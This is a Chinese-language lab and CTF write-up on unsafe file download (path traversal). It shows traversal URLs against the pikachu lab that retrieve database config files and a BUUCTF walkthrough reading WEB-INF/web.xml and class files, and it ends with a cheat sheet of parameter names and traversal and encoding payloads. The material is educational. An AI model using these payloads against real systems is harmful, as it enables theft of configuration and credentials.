文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径,则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息被下载。
平台:pikachu

文件下载路径为:http://xxx:8080/vul/unsafedownload/execdownload.php?filename=xxx.png
改造下地址:http://xxx:8080/vul/unsafedownload/execdownload.php?filename=…/execdownload.php
文件execdownload.php会被直接下载:

访问http://xxx:8080/vul/unsafedownload/execdownload.php?filename=…/…/…/inc/config.inc.php:

打开config.inc.php文件,能够得到数据库配置信息:


点击help,查看链接地址:
http://809450ae-64d8-44d9-ae2a-924352d23424.node4.buuoj.cn:81/Download?filename=help.docx
尝试改成post方式提交,文件成功被下载:
将post数据改为:filename=WEB-INF/web.xml,抓取返回的数据:

根据javaweb的知识,可以直接访问Flag,发现报错,不能正常访问,通过上面其它的Controller,我们能够找到Controller的路径,那么就可以根据提供的路径信息找到class文件的路径,class文件一般存放于WEB-INF包下的class文件夹下,尝试如下:

访问并抓包查看:

“Flag is nearby”,说明flag就在附近,通过观察,我们发现在这句话上面有一段base64编码过的字符串,用Baes64解码得到flag:

留意:文件名、参数值、目录符号
read.xxx?filename=
down.xxx?filename=
readfile.xxx?file=
downfile.xxx?file=
../ ..\ .\ ./等
%00 ? %23 %20 .等
&readpath= &filepath= &path= &inputfile= &url= &data= &readfile= &menu= &META-INF= &WEB-INF=